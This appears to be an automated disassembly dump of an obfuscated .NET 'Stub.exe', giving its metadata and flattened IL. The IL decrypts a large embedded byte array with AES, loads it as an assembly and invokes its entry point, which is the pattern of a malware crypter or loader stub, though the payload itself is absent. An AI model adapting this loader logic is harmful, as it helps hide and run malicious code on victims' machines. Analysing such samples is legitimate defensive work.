<Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2f56c76cbf5844c49df67296bd14ef3b brfalse IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) pop <null> ldc.i4 0 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> ldloc.s V_20 ldloc.s V_1 ldsfld U3TUv8QQP7ZD1XYHYOp U3TUv8QQP7ZD1XYHYOp::L7eQEEpthE call System.Void U3TUv8QQP7ZD1XYHYOp::OHuQ8Ud2hX(System.Object,System.Byte[],U3TUv8QQP7ZD1XYHYOp) ldc.i4 2 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> ldloc.s V_20 ldsfld wfLVkhQobKRahfccQAY wfLVkhQobKRahfccQAY::uunQkgNnYg call System.Security.Cryptography.ICryptoTransform wfLVkhQobKRahfccQAY::OHuQ8Ud2hX(System.Object,wfLVkhQobKRahfccQAY) stloc.s V_18 ldc.i4 3 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> leave IL_0873: ret ldloc.s V_20 brtrue IL_078F: ldloc.s V_20 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_e7e9a9402d1346698133a8582adf23ad brfalse IL_0779: switch(IL_07BA,IL_07C9,IL_078F) pop <null> ldc.i4 0 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) ldloc V_23 switch dnlib.DotNet.Emit.Instruction[] br IL_07BA: br IL_07CA ldloc.s V_20 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_11606089adef4a34bd7ebfb94bb2bce6 brtrue IL_0779: switch(IL_07BA,IL_07C9,IL_078F) pop <null> ldc.i4 0 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) br IL_07CA: endfinally ldc.i4 2 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) nop <null> endfinally <null> ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brfalse IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 0 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldc.i4.s 16 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/NIcuvGE6F0Pv6hdOej <PrivateImplementationDetails>::AD4AEA6B72D771387179D989D4D04A03AAA0BB8A42AE56592C5AE5657806259C ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_1 ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_cfa74efd329a423599a8486faa17a90f brfalse IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 1 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldsfld IBVCGiQNF4Rj7EQ0g9T IBVCGiQNF4Rj7EQ0g9T::pA5QVK446L call System.Security.Cryptography.Aes IBVCGiQNF4Rj7EQ0g9T::OHuQ8Ud2hX(IBVCGiQNF4Rj7EQ0g9T) stloc.s V_20 ldc.i4 3 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brtrue IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 5 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldc.i4 584720 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/VYKDI7klhmI8sOHPy0 <PrivateImplementationDetails>::F5815824F8A56EF64EA0C5C580736E2CF9296A905A3A938EC28E70D999032C92 ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_2 ldc.i4 2 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ret <null>
Module Name	Stub.exe.exe
Full Name	Stub.exe.exe
EntryPoint	System.Void Stub::Main()
Scope Name	Stub.exe.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Stub.exe
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	46
Main Method	System.Void Stub::Main()
Main IL Instruction Count	504
Main IL	br.s IL_0007: ldc.i4 4 call <null> ldc.i4 4 stloc V_3 br IL_0015: ldloc V_3 ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_0873: ret nop <null> ldc.i4.s 32 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/FKYieJoBfuCKXoqaoF <PrivateImplementationDetails>::1E890A8CED285D9F97A04AED3098BE5E021943CEFF87A4F7F29ACBDDFEAA13E5 ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_19 ldc.i4 3 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_11606089adef4a34bd7ebfb94bb2bce6 brtrue IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 3 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) nop <null> nop <null> ldloc.s V_20 ldloc.s V_19 ldsfld kYmBe2Qi8U95m5dFPbK kYmBe2Qi8U95m5dFPbK::resQJ6ehex call System.Void kYmBe2Qi8U95m5dFPbK::OHuQ8Ud2hX(System.Object,System.Byte[],kYmBe2Qi8U95m5dFPbK) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brfalse IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) pop <null> ldc.i4 1 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) ldloc V_16 switch dnlib.DotNet.Emit.Instruction[] br IL_0749: nop nop <null> ldloc.s V_2 newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_5 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_a5157b3d03164d97b89d07867339b3f3 brfalse IL_00EE: switch(IL_0100,IL_0677) pop <null> ldc.i4 0 br IL_00EE: switch(IL_0100,IL_0677) ldloc V_9 switch dnlib.DotNet.Emit.Instruction[] br IL_0100: nop nop <null> ldloc.s V_5 ldloc.s V_18 ldc.i4.0 <null> newobj System.Void System.Security.Cryptography.CryptoStream::.ctor(System.IO.Stream,System.Security.Cryptography.ICryptoTransform,System.Security.Cryptography.CryptoStreamMode) stloc.s V_24 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_8470cfc8d6f94469847ceb8b3606c084 brtrue IL_0130: switch(IL_05EA,IL_0142) pop <null> ldc.i4 1 br IL_0130: switch(IL_05EA,IL_0142) ldloc V_4 switch dnlib.DotNet.Emit.Instruction[] br IL_05EA: leave IL_0677 nop <null> newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_7 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_38294cad8dec400088d76bf4668cb17f brfalse IL_016D: switch(IL_017F,IL_054A) pop <null> ldc.i4 0 br IL_016D: switch(IL_017F,IL_054A) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_017F: nop nop <null> nop <null> ldloc.s V_24 ldloc.s V_7 ldsfld peZsgcQC6jlmRImuVRk peZsgcQC6jlmRImuVRk::AtKQWFOgcT call System.Void peZsgcQC6jlmRImuVRk::OHuQ8Ud2hX(System.Object,System.IO.Stream,peZsgcQC6jlmRImuVRk) ldc.i4 2 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_c17cc8ccac8043bd9388f5696da1c216 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 15 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc V_17 switch dnlib.DotNet.Emit.Instruction[] br IL_0406: ldloc.s V_15 nop <null> ldloc.s V_10 ldnull <null> ldc.i4.1 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldc.i4.0 <null> newarr System.String stelem.ref <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 12 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldc.i4 -1933971504 ldc.i4 -22205465 xor <null> ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dd542a8576ea4be695d8a1ed1bfc7abd xor <null> call System.String qIrTQBZ6hFBgSx2jFS.uqEyLC4O6upV6lQIIN::YVppfiYT5(System.Int32) ldsfld frcaOXQPiDR5Gn1xpfY frcaOXQPiDR5Gn1xpfY::sCuQ5ho2cw call System.Void frcaOXQPiDR5Gn1xpfY::OHuQ8Ud2hX(System.String,frcaOXQPiDR5Gn1xpfY) ldc.i4 13 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_9d26a8b657294840aec7e23fc1ed6b08 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 12 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) br IL_046B: ldloc.s V_12 ldc.i4 19 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_7 ldsfld giMo9lQ9weMNmRc90Lq giMo9lQ9weMNmRc90Lq::sooQ1gwwNw call System.Byte[] giMo9lQ9weMNmRc90Lq::OHuQ8Ud2hX(System.Object,giMo9lQ9weMNmRc90Lq) stloc.s V_8 ldc.i4 10 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_10 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ldc.i4 9 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_10 ldnull <null> ldsfld LJaGxoQToDkVhpPnwOp LJaGxoQToDkVhpPnwOp::QayQq5JqJi call System.Boolean LJaGxoQToDkVhpPnwOp::OHuQ8Ud2hX(System.Reflection.MethodInfo,System.Reflection.MethodInfo,LJaGxoQToDkVhpPnwOp) stloc.s V_11 ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5dcc1b6b90144611a0be3e435c51a507 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 0 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_11 brfalse IL_022F: nop ldc.i4 5 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_0065e599d11d423c997fd48c829892a4 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 8 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldc.i4 -881254841 ldc.i4 -42586852 add <null> ldc.i4 -1157918962 xor <null> ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dd542a8576ea4be695d8a1ed1bfc7abd xor <null> call System.String qIrTQBZ6hFBgSx2jFS.uqEyLC4O6upV6lQIIN::YVppfiYT5(System.Int32) ldsfld frcaOXQPiDR5Gn1xpfY frcaOXQPiDR5Gn1xpfY::sCuQ5ho2cw call System.Void frcaOXQPiDR5Gn1xpfY::OHuQ8Ud2hX(System.String,frcaOXQPiDR5Gn1xpfY) ldc.i4 3 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> br IL_0362: nop ldc.i4 16 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_17ec4765e0944b5ca8a80f89104bc182 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 14 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> nop <null> nop <null> br IL_04BC: nop ldc.i4 7 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_4c2e118fdc604065862b79ba99f26bc5 brfalse IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 1 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_14 brfalse IL_0305: nop ldc.i4 4 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_8 ldsfld CvHYltQ44jhFEmkwWGu CvHYltQ44jhFEmkwWGu::ILuQZQrby7 call System.Reflection.Assembly CvHYltQ44jhFEmkwWGu::OHuQ8Ud2hX(System.Byte[],CvHYltQ44jhFEmkwWGu) stloc.s V_15 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_0414df22aa5d4053b38331809bef6784 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 0 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldc.i4.0 <null> ldelem.ref <null> ldsfld KC6aCRQmUHMM5A50luD KC6aCRQmUHMM5A50luD::G0eQsks0T2 call System.Type KC6aCRQmUHMM5A50luD::OHuQ8Ud2hX(System.Object,KC6aCRQmUHMM5A50luD) ldtoken System.String[] ldsfld qioYhPQMudbQptJTnbV qioYhPQMudbQptJTnbV::e0JQhi65K8 call System.Type qioYhPQMudbQptJTnbV::OHuQ8Ud2hX(System.RuntimeTypeHandle,qioYhPQMudbQptJTnbV) ldsfld cnmBH6QeEUMIsHay8EU cnmBH6QeEUMIsHay8EU::UE2QReqY6t call System.Boolean cnmBH6QeEUMIsHay8EU::OHuQ8Ud2hX(System.Type,System.Type,cnmBH6QeEUMIsHay8EU) br IL_04AE: stloc.s V_14 br IL_04AD: ldc.i4.0 nop <null> br IL_0362: nop ldc.i4 11 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_15 ldsfld eYQNT8Q04aaailn1OCK eYQNT8Q04aaailn1OCK::lk2QYqXPA1 call System.Reflection.MethodInfo eYQNT8Q04aaailn1OCK::OHuQ8Ud2hX(System.Object,eYQNT8Q04aaailn1OCK) stloc.s V_10 ldc.i4 2 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_13 brtrue IL_029C: nop ldc.i4 17 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_06e1be0a0bbb44daa305f85463e5b20e brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 15 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldlen <null> ldc.i4.0 <null> ceq <null> stloc.s V_13 ldc.i4 5 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6c801526bd5b49bfbe5c898fbf87badb brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 1 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldloc.s V_12 ldlen <null> conv.i4 <null> ldc.i4.1 <null> bne.un IL_04AD: ldc.i4.0 ldc.i4 6 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_dde3deb09fe1471c8b5baea6a3940132 brtrue IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) pop <null> ldc.i4 6 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> ldloc.s V_10 ldsfld FBWxmWQHr05OC5PMu7U FBWxmWQHr05OC5PMu7U::hjIQfLgFxR call System.Reflection.ParameterInfo[] FBWxmWQHr05OC5PMu7U::OHuQ8Ud2hX(System.Object,FBWxmWQHr05OC5PMu7U) stloc.s V_12 ldc.i4 18 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) ldc.i4.0 <null> stloc.s V_14 ldc.i4 14 br IL_01B2: switch(IL_0406,IL_02DF,IL_02B1,IL_0360,IL_020C,IL_041E,IL_03C5,IL_022F,IL_0494,IL_03F6,IL_0398,IL_046B,IL_033B,IL_04BA,IL_0387,IL_0283,IL_0305,IL_0274,IL_0444,IL_029C) nop <null> nop <null> nop <null> leave IL_054A: leave IL_05EA ldloc.s V_7 brfalse IL_052A: endfinally ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_9d26a8b657294840aec7e23fc1ed6b08 brtrue IL_04EC: switch(IL_04FE,IL_0529) pop <null> ldc.i4 0 br IL_04EC: switch(IL_04FE,IL_0529) ldloc V_21 switch dnlib.DotNet.Emit.Instruction[] br IL_04FE: ldloc.s V_7 ldloc.s V_7 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7aaebb3f91ad472cb8738233424e9740 brtrue IL_04EC: switch(IL_04FE,IL_0529) pop <null> ldc.i4 1 br IL_04EC: switch(IL_04FE,IL_0529) nop <null> endfinally <null> ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7a7ad733de4b439aa3bc9d08c96d386c brfalse IL_016D: switch(IL_017F,IL_054A) pop <null> ldc.i4 1 br IL_016D: switch(IL_017F,IL_054A) leave IL_05EA: leave IL_0677 ldloc.s V_24 brtrue IL_059E: ldloc.s V_24 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6c801526bd5b49bfbe5c898fbf87badb brfalse IL_0579: switch(IL_05C9,IL_058F,IL_059E) pop <null> ldc.i4 1 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) ldloc V_22 switch dnlib.DotNet.Emit.Instruction[] br IL_05C9: nop br IL_05CA: endfinally ldc.i4 2 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) ldloc.s V_24 